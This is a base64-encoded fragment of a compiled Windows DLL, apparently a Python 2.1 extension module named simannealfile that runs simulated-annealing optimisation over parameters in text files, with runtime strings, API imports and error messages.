ZWRUaHVGcmlTYXQAAABKYW5GZWJNYXJBcHJNYXlKdW5KdWxBdWdTZXBPY3ROb3ZEZWMAAAAA
dHpzZXQuYwBUWgAAAAAAAAAAAAAAAAAA/////9TTARDa0wEQY2hzaXplLmMAAAAAc2l6ZSA+
PSAwAAAAX3luAF95MQBfeTAAZnJleHAAAABmbW9kAAAAAF9oeXBvdAAAX2NhYnMAAABsZGV4
cAAAAG1vZGYAAAAAZmFicwAAAABmbG9vcgAAAGNlaWwAAAAAdGFuAGNvcwBzaW4Ac3FydAAA
AABhdGFuMgAAAGF0YW4AAAAAYWNvcwAAAABhc2luAAAAAHRhbmgAAAAAY29zaAAAAABzaW5o
AAAAAGxvZzEwAAAAbG9nAHBvdwBleHAA/////1bsARBc7AEQ/////0ztARBS7QEQMSNRTkFO
AAAxI0lORgAAADEjSU5EAAAAMSNTTkFOAABhX2NtcC5jAGNjaENvdW50MT09MCAmJiBjY2hD
b3VudDI9PTEgfHwgY2NoQ291bnQxPT0xICYmIGNjaENvdW50Mj09MAAAAAD/////zwQCENUE
AhD/////bQUCEHMFAhBzZXRlbnYuYwAAAABIOm1tOnNzAGRkZGQsIE1NTU0gZGQsIHl5eXkA
TS9kL3l5AABQTQAAQU0AAERlY2VtYmVyAAAAAE5vdmVtYmVyAAAAAE9jdG9iZXIAU2VwdGVt
YmVyAAAAQXVndXN0AABKdWx5AAAAAEp1bmUAAAAAQXByaWwAAABNYXJjaAAAAEZlYnJ1YXJ5
AAAAAEphbnVhcnkARGVjAE5vdgBPY3QAU2VwAEF1ZwBKdWwASnVuAE1heQBBcHIATWFyAEZl
YgBKYW4AU2F0dXJkYXkAAAAARnJpZGF5AABUaHVyc2RheQAAAABXZWRuZXNkYXkAAABUdWVz
ZGF5AE1vbmRheQAAU3VuZGF5AABTYXQARnJpAFRodQBXZWQAVHVlAE1vbgBTdW4AIAWTGQEA
AAB4NgIQAAAAAAAAAAAAAAAAAAAAAAAAAAD/////gBMCECAFkxkCAAAAoDYCEAAAAAAAAAAA
AAAAAAAAAAAAAAAA/////5MTAhAAAAAAnBMCECAFkxkBAAAA0DYCEAAAAAAAAAAAAAAAAAAA
AAAAAAAA/////7ITAhAgBZMZAQAAAPg2AhAAAAAAAAAAAAAAAAAAAAAAAAAAAP/////HEwIQ
IAWTGQEAAAAgNwIQAAAAAAAAAAAAAAAAAAAAAAAAAAD/////3BMCECAFkxkEAAAASDcCEAAA
AAAAAAAAAAAAAAAAAAAAAAAA//////ETAhAAAAAA+hMCEAEAAAADFAIQAQAAAA4UAhAgBZMZ
AQAAAIg3AhAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8wFAIQIAWTGQEAAACwNwIQAAAAAAAA
AAAAAAAAAAAAAAAAAAD/////QxQCECAFkxkCAAAA2DcCEAAAAAAAAAAAAAAAAAAAAAAAAAAA
/////2AUAhD/////axQCECAFkxkCAAAACDgCEAAAAAAAAAAAAAAAAAAAAAAAAAAA/////4AU
AhAAAAAAiRQCECAFkxkBAAAAODgCEAAAAAAAAAAAAAAAAAAAAAAAAAAA/////6AUAhAgBZMZ
AQAAAGA4AhAAAAAAAAAAAAAAAAAAAAAAAAAAAP////+1FAIQIAWTGQEAAACIOAIQAAAAAAAA
AAAAAAAAAAAAAAAAAAD/////yhQCECAFkxkBAAAAsDgCEAAAAAAAAAAAAAAAAAAAAAAAAAAA
/////98UAhAgBZMZAgAAANg4AhAAAAAAAAAAAAAAAAAAAAAAAAAAAP/////1FAIQAAAAAAEV
AhBgOgIAAAAAAAAAAADsOwIAKCECAKQ6AgAAAAAAAAAAADI8AgBsIQIAODkCAAAAAAAAAAAA
YEECAAAgAgAAAAAAAAAAAAAAAAAAAAAAAAAAAGo+AgBGQQIANEECACJBAgASQQIAAkECAPBA
AgDgQAIA1EACAMpAAgC+QAIArEACAJpAAgBCPAIATjwCAFw8AgBwPAIAhDwCAJ48AgCuPAIA
vjwCAM48AgDePAIA7jwCAAA9AgAOPQIAJD0CADI9AgA+PQIASD0CAFg9AgBmPQIAdj0CAIQ9
AgCUPQIAoD0CALg9AgDOPQIA4D0CAPA9AgAIPgIAHj4CADo+AgBSPgIAgj4CAJA+AgCkPgIA
uj4CAMY+AgDUPgIA4D4CAO4+AgD8PgIACj8CABo/AgAsPwIAOj8CAEw/AgBmPwIAgD8CAJY/
AgCuPwIAyD8CAOY/AgD2PwIABkACABpAAgAwQAIAPkACAFBAAgBcQAIAckACAIhAAgAAAAAA
ejsCAMo6AgDcOgIA7joCANQ7AgDGOwIAsjsCAKI7AgCMOwIAtDoCAGo7AgBOOwIAOjsCACY7
AgAUOwIAAjsCAAAAAAAKPAIAGDwCAPo7AgAAAAAAmwFQeVN0cmluZ19Gcm9tU3RyaW5nAFUA
UHlFcnJfU2V0U3RyaW5nAH4AUHlFeGNfTmFtZUVycm9yAAEAUHlBcmdfUGFyc2VUdXBsZQAA
XAJfUHlfTm9uZVN0cnVjdAAAigBQeUV4Y19UeXBlRXJyb3IAkwFQeVN0cmluZ19Bc1N0cmlu
ZwBJAVB5T2JqZWN0X0dldEF0dHIAAJ0BUHlTdHJpbmdfSW50ZXJuRnJvbVN0cmluZwCgAVB5
U3RyaW5nX1R5cGUAxABQeUludF9Gcm9tTG9uZwAAngBQeUZsb2F0X0Zyb21Eb3VibGUAAAMC
UHlfQnVpbGRWYWx1ZQADAVB5TW9kdWxlX0dldERpY3QAAM0BUHlUeXBlX1R5cGUAOQBQeURp
Y3RfU2V0SXRlbVN0cmluZwAAcHl0aG9uMjEuZGxsAABjAl9QeV9SZWZUb3RhbAAAWQJfUHlf
RGVhbGxvYwAbAlB5X0luaXRNb2R1bGU0VHJhY2VSZWZzAHB5dGhvbjIxX2QuZGxsAAAvAlJ0
bFVud2luZAB9AEV4aXRQcm9jZXNzAJ4CVGVybWluYXRlUHJvY2VzcwAA9wBHZXRDdXJyZW50
UHJvY2VzcwBwAUdldFRpbWVab25lSW5mb3JtYXRpb24AAF0BR2V0U3lzdGVtVGltZQAbAUdl
dExvY2FsVGltZQAAuAFJc0JhZFdyaXRlUHRyALUBSXNCYWRSZWFkUHRyAACnAUhlYXBWYWxp
ZGF0ZQAAygBHZXRDb21tYW5kTGluZUEAdAFHZXRWZXJzaW9uAAD6AEdldEN1cnJlbnRUaHJl
YWRJZAAApQJUbHNTZXRWYWx1ZQCiAlRsc0FsbG9jAACjAlRsc0ZyZWUAcQJTZXRMYXN0RXJy
b3IAAKQCVGxzR2V0VmFsdWUAGgFHZXRMYXN0RXJyb3IAAFEARGVidWdCcmVhawAAUgFHZXRT
dGRIYW5kbGUAAN8CV3JpdGVGaWxlAK0BSW50ZXJsb2NrZWREZWNyZW1lbnQAAPUBT3V0cHV0
RGVidWdTdHJpbmdBAAA+AUdldFByb2NBZGRyZXNzAADCAUxvYWRMaWJyYXJ5QQAAsAFJbnRl
cmxvY2tlZEluY3JlbWVudAAAJAFHZXRNb2R1bGVGaWxlTmFtZUEAAKoBSW5pdGlhbGl6ZUNy
aXRpY2FsU2VjdGlvbgBVAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgBmAEVudGVyQ3JpdGljYWxT
ZWN0aW9uAADBAUxlYXZlQ3JpdGljYWxTZWN0aW9uAAAbAENsb3NlSGFuZGxlACYBR2V0TW9k
dWxlSGFuZGxlQQAADQFHZXRGaWxlQXR0cmlidXRlc0EAAJkBSGVhcEFsbG9jAKIBSGVhcFJl
QWxsb2MAnwFIZWFwRnJlZQAAnQFIZWFwRGVzdHJveQCbAUhlYXBDcmVhdGUAAL8CVmlydHVh
bEZyZWUAuwJWaXJ0dWFsQWxsb2MAAG0CU2V0SGFuZGxlQ291bnQAABUBR2V0RmlsZVR5cGUA
UAFHZXRTdGFydHVwSW5mb0EAsgBGcmVlRW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZp
cm9ubWVudFN0cmluZ3NXANICV2lkZUNoYXJUb011bHRpQnl0ZQAGAUdldEVudmlyb25tZW50
U3RyaW5ncwAIAUdldEVudmlyb25tZW50U3RyaW5nc1cAAIsCU2V0VW5oYW5kbGVkRXhjZXB0
aW9uRmlsdGVyALIBSXNCYWRDb2RlUHRyAAB8AlNldFN0ZEhhbmRsZQAAqgBGbHVzaEZpbGVC
dWZmZXJzAADkAU11bHRpQnl0ZVRvV2lkZUNoYXIANABDcmVhdGVGaWxlQQBqAlNldEZpbGVQ
b2ludGVyAAAYAlJlYWRGaWxlAAALAUdldEV4aXRDb2RlUHJvY2VzcwAAzgJXYWl0Rm9yU2lu
Z2xlT2JqZWN0AEQAQ3JlYXRlUHJvY2Vzc0EAAFMBR2V0U3RyaW5nVHlwZUEAAFYBR2V0U3Ry
aW5nVHlwZVcAAL8AR2V0Q1BJbmZvALkAR2V0QUNQAAAxAUdldE9FTUNQAABhAlNldEVuZE9m
RmlsZQAACwJSYWlzZUV4Y2VwdGlvbgAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdX
AAAhAENvbXBhcmVTdHJpbmdBAAAiAENvbXBhcmVTdHJpbmdXAABiAlNldEVudmlyb25tZW50
VmFyaWFibGVBAEtFUk5FTDMyLmRsbAAAAAAAAAAAXUldPAAAAACiQQIAAQAAAAEAAAABAAAA
mEECAJxBAgCgQQIAYZYAALRBAgAAAHNpbWFubmVhbGZpbGUuZGxsAGluaXRzaW1hbm5lYWxm
aWxlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDyABAQ3AEQwHEBEAAA
AAAAAAAA8PMAEAAAAAAAAAAA4HEBEAAAAAAAAAAAAAAAAAAAAABiYXNpc2ZpbGU6OnJlYWRm
aWxlOgogTm8gZmlsZW5hbWUgdG8gcmVhZCBzcGVjaWZpZWQuCgAAAGJhc2lzZmlsZTo6cmVh
ZGZpbGUgKCk6CiAAAAAnLgoARXJyb3Igd2hpbGUgcmVhZGluZyBmaWxlIGAAAGJhc2lzZmls
ZTo6d3JpdGVmaWxlOgogSW52YWxpZCBtb2RlICVzIAAnLgoAZm9yIHdyaXRpbmcgdG8gZmls
ZSBgAAAAJwAAAGJhc2lzZmlsZTo6d3JpdGVmaWxlOgogVW5hYmxlIHRvIG9wZW4gZmlsZSBg
AAAAACB3aXRoIG1vZGUgJXMuCgBhAAAAYQAAAGJhc2lzZmlsZTo6d3JpdGVmaWxlOgogSW52
YWxpZCBtb2RlICVzIAAnLgoAZm9yIHdyaXRpbmcgdG8gZmlsZSBgAAAAJwAAAGJhc2lzZmls
ZTo6d3JpdGVmaWxlOgogVW5hYmxlIHRvIG9wZW4gZmlsZSBgAAAAACB3aXRoIG1vZGUgJXMu
CgBFcnJvciB3aGlsZSBzcGxpdHRpbmcgYmFzaXNmaWxlIHN0cnVjdHVyZS4KAENvdWxkbid0
IGZpbmQgcGFyYW1ldGVyIG51bWJlciAlZC4KAFByb2JhYmx5IGxpbmUgbnVtYmVyICVkIGV4
Y2VlZHMgbnVtYmVyIG9mIGxpbmVzIG9mIGZpbGUuCgAAAGJhc2lzZmlsZTo6c3BsaXQ6CiBF
bXB0eSBmaWxldGV4dCBzdHJ1Y3R1cmUuICBBYm9ydGluZy4KAAAAAGJhc2lzZmlsZTo6c3Bs
aXQ6CiBJbnZhbGlkIGxpbmVudW1iZXIgJWQuCgAAYmFzaXNmaWxlOjpzcGxpdDoKIEludmFs
aWQgcG9zaXRpb24gJWQuCgAAAAAKAAAACgAAAFByb2JsZW0gaW4gbGluZSBuby4gJWQ6CgAA
AAAgQ2FuIG5vdCBmaW5kIG1vcmUgdGhhbiAlZAAAJy4KACBwcmVzZXBhcmF0b3JzIGAAAAAA
IFNob3VsZCBoYXZlIGZvdW5kICVkLgoAIgoAAFRleHQgb2YgdGhlIGxpbmUgdW5kZXIgY29u
c2lkZXJhdGlvbjoKICIAAAAAUHJvYmxlbSB3aXRoIHNwZWNpZmljYXRpb24gb2YgdmFyaWFi
bGUgbm8uICVkOgoAIHBhc3RzZXBhcmF0cG9yIGlzIGVtcHR5LgoAAFByb2JsZW0gaW4gbGlu
ZSBuby4gJWQ6CgAAAAAgQ2FuIG5vdCBmaW5kAAAAJyBhZnRlciAAAAAAIHBhc3RzZXBhcmF0
b3IgYAAAAAAlZC4gAAAAACcuCgBwcmVzYXBhcmF0b3IgYAAAIgoAAFRleHQgb2YgdGhlIGxp
bmUgdW5kZXIgY29uc2lkZXJhdGlvbjoKICIAAAAAdmwycHQ6CiAAAAAARXJyb3Igd2hpbGUg
Y29weWluZyB4X25vdyB0byBwYXJhbXRlciB0ZXh0LgoAAAAAdmwycHQ6CiAAAAAAQ2Fubm90
IGZpbmQgcGFyYW10ZXIgdGV4dCBmb3IgdmFyaWFibGUgbm8uICVkLgoAdGZsbiA9ICVkCXRs
bG4gPSAlZAoAAAAAdmFyaWFibGVuX3BvaW50ZXItPm51bW1lciA9IAAAAAAlZAoACgAAACcK
AAB0ZXh0OgogYAAAAAAnCgAAcGFyYW1ldGVyX3RleHQ6IGAAAABjYWxjdWxhdGUgKCk6CiAA
RXJyb3Igd2hpbGUgY29weWluZyB2YXJpYWJsZXMgKHhfbm93KSB0byBwYXJhbWV0ZXIgdGV4
dHMuCgAAdwAAAGNhbGN1bGF0ZSAoKToKIE5vIGJhc2lzZmlsZSBzdHJ1Y3R1cmUgc3BlY2lm
aWVkLgoAAAByAAAAb3V0cHV0LmFzYwAAJWxmAGNhbGN1bGF0ZTogIEF1c2dhYmVkYXRlaSBg
b3V0cHV0LmFzYycgbmljaHQgZ2VmdW5kZW4uCgAAdwAAAGNhbGN1bGF0ZSAoKToKIE5vIGJh
c2lzZmlsZSBzdHJ1Y3R1cmUgc3BlY2lmaWVkLgoAAAByAAAAb3V0cHV0LmFzYwAAJWxmAGNh
bGN1bGF0ZTogIEF1c2dhYmVkYXRlaSBgZXJnZWJuaXMuYXNjJyBuaWNodCBnZWZ1bmRlbi4K
AAAAAGV2YWx1YXRlOjphYm9ydCgpOiBjYXNlICdlJyBub3QgaW1wbGVtZW50ZWQgeWV0LgoA
AABldmFsdWF0ZTo6YWJvcnQoKToKACBFcnJvciB3aGlsZSBjb21wYXJpbmcgcmVzdWx0IHdp
dGggZ29hbC4KAAAAZXZhbHVhdGU6OmFib3J0KCk6CgAgRXJyb3Igd2hpbGUgY29tcGFyaW5n
IHJlc3VsdCB3aXRoIGdvYWwuCgAAAGV2YWx1YXRlOjphYm9ydCgpOiBjYXNlICduJyBub3Qg
aW1wbGVtZW50ZWQgeWV0LgoAAABldmFsdWF0ZTo6YWJvcnQoKToKACBVbmtub3duIGNyaXRl
cmlhIGAlYycuCgAAAABzdHJpbmc6OmNoZWNrX2luZGV4ICggJWQgKQAAICVzADogQWNjZXNz
IG91dCBvZiBib3VuZHMuCgAAAABzdHJpbmc6OmNvcHk6CiBJbnZhbGlkIHZhbHVlIG9mIGRl
Y2ltYWw6ICVkCgAAAAAlJSVkLiVkZgAAAAAlZAAAc3RyaW5nOjpjb3B5KHN0cnVjdCB2YXJp
YWJsZSAqdik6CgAAIE5vIHZhcmlhYmxlIGdpdmVuLgoAAAAAc3RyaW5nOjpjb3B5OgogVW5r
bm93biB0eXBlIGAlYycgb2Ygc3RydWN0IHZhcmlhYmxlLgoAAAAlZwAAJWQAAEVycm9yIGlu
IHN0cmluZzo6bmNvcHkgOiAAAAAgIG49JWQsIG9mZnNldD0lZCwgcy5zaXplPSVkCgAAACAg
ICBIaW50OiBzaXplIGluY2x1ZGVzIGBcMCcuCgAAcgAAACcuCgBDYW5ub3Qgb3BlbiBmaWxl
IGAAAHIAAAAnLgoAQ2Fubm90IG9wZW4gZmlsZSBgAABTaW5jZSBJJ3ZlIGJlZW4gYWJsZSB0
byBvcGVuIGl0IHJlY2VudGx5LCBzb21ldGhpbmcgcmVhbGx5AABzdHJhbmdlIGlzIGdvaW5n
IG9uLgoAAAByAAAAJy4KAENhbm5vdCBvcGVuIGZpbGUgYAAAcgAAACcuCgBDYW5ub3Qgb3Bl
biBmaWxlIGAAAFNpbmNlIEkndmUgYmVlbiBhYmxlIHRvIG9wZW4gaXQgcmVjZW50bHksIHNv
bWV0aGluZyByZWFsbHkAAHN0cmFuZ2UgaXMgZ29pbmcgb24uCgAAAHN0cmluZzo6ZmlsZXdy
aXRlOgogSW52YWxpZCBtb2RlICVzIAAAAAAnLgoAZm9yIHdyaXRpbmcgc3RyaW5nIHRvIGZp
bGUgYAAAAAAlcwAAJwAAAHN0cmluZzo6ZmlsZXdyaXRlOgogVW5hYmxlIHRvIG9wZW4gZmls
ZSBgAAAAIHdpdGggbW9kZSAlcy4KACVzAABzdHJpbmc6OmZpbGV3cml0ZToKIGZpbGUgcG9p
bnRlciA9IE5VTEwuCgAAAHN0cmluZyAAICVzIAAAAAAgPSAiAAAAACVjAAAiCgAAJXMAACVj
AAAlcwAAJXMAACVjAAAlcwAAJXMAACVjAAAlcwAAc2ltYW5uZWFsX3Zhcmxpc3Q6OnB0Mnhu
ICgpOgogAABFcnJvciB3aGlsZSBjb3B5aW5nIHBhcmFtZXRlciB0ZXh0IHRvIHhfbm93IG9m
IHZhcmlhYmxlIG5vLiAlZAAACgAAAHhfbm93XzJfeF9vcHQgKCk6CiAARW1wdHkgdmFyaWFi
bGUgbGlzdCEuCgAAeF9ub3dfMl94X29wdCAoKToKIABFbXB0eSB4X29wdCBpbiB2YXJpYWJs
ZSBsaXN0IS4KAHhfbm93XzJfeF9vcHQgKCk6CiAARW1wdHkgeF9ub3cgaW4gdmFyaWFibGUg
bGlzdCEuCgBzaW11bGF0ZWRfYW5uZWFsaW5nOjpidWlsZF92YXJsaXN0OgoAAAAAIE5vIHZh
bGlkIHZhcmlhYmxlcyBmb3VuZC4KAHNpbXVsYXRlZF9hbm5lYWxpbmc6Om9wdGltaXplICgp
OgogACcKAABFcnJvciB3aGlsZSB0cnlpbmcgdG8gZXhlY3V0ZQogIGAAAABzaW11bGF0ZWRf
YW5uZWFsaW5nOjpvcHRpbWl6ZSAoKToKAAAgRXJyb3Igd2hpbGUgYnVpbGRpbmcgbmV3IHZh
cmlhYmxlIHZlY3Rvci4KAAoAAABFcnJvciB3aGlsZSBleGVjdXRpbmcKICAAAAAAc2ltdWxh
dGVkX2FubmVhbGluZzo6b3B0aW1pemU6CgAgRXJyb3Igd2hpbGUgZXZhbHVhdGluZyBuZXcg
cmVzdWx0LgoAAAAAJWcKAHNpbXVsYXRlZF9hbm5lYWxpbmc6OnRha2VfbmV3X3Jlc3VsdDoK
AAAgRXJyb3Igd2hpbGUgcmVhZGluZyBgZm9sZCcuCgAAAHNpbXVsYXRlZF9hbm5lYWxpbmc6
OnRha2VfbmV3X3Jlc3VsdDoKAAAgQ29tcGFyaXNvbiB3aXRoIGludGVnZXJzIGlzbid0IGlt
cGxlbWVudGVkIHlldC4KAAAAc2ltdWxhdGVkX2FubmVhbGluZzo6dGFrZV9uZXdfcmVzdWx0
OgoAACBDb21wYXJpc29uIHdpdGggc3RyaW5ncyBpc24ndCBpbXBsZW1lbnRlZCB5ZXQuCgAA
AABzaW11bGF0ZWRfYW5uZWFsaW5nOjp0YWtlX25ld19yZXN1bHQ6CgAAIFVua25vd24gdHlw
ZSBvZiBgZm5ldycgYCVjJy4KAABzaW11bGF0ZWRfYW5uZWFsaW5nOjp2YXJ5X3NpbXZhcmxp
c3QoKToKAAAAACBObyBzaW11bGF0ZWQgYW5uZWFsaW5nIHBhcmFtZXRlcnMgZm91bmQgZm9y
IHZhcmlhYmxlIG5vLiAlZC4KAABzaW11bGF0ZWRfYW5uZWFsaW5nOjp2YXJ5X3NpbXZhcmxp
c3QoKToKAAAAACBFcnJvciB3aGlsZSBtYWtpbmcgcmFuZG9tIHN0ZXAgb2YgdmFyaWFibGUg
bm8uICVkLgoAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAbGgCEBQAAAAAAAAAAAAAALtE
